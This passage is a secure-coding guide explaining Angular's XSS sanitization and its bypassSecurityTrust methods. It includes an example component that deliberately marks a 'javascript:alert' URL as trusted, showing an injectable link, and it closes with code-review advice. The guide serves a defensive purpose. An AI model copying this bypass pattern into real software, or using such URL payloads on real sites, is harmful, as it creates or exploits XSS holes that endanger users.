Automatic Sanitization

To systematically block XSS bugs, Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.

However, it is possible to mark a value as trusted and prevent the automatic sanitization with these methods:

• bypassSecurityTrustHtml
• bypassSecurityTrustScript
• bypassSecurityTrustStyle
• bypassSecurityTrustUrl
• bypassSecurityTrustResourceUrl

Example of a component using the unsecure method bypassSecurityTrustUrl:

import { Component, OnInit } from '@angular/core';

@Component({
  selector: 'my-app',
  template: `
    <h4>An untrusted URL:</h4>
    <p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>
    <h4>A trusted URL:</h4>
    <p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>
  `,
})
export class App {
  constructor(private sanitizer: DomSanitizer) {
    this.dangerousUrl = 'javascript:alert("Hi there")';
    this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);
  }
}

When doing a code review, you want to make sure that no user input is being trusted since it will introduce a security vulnerability in the application.
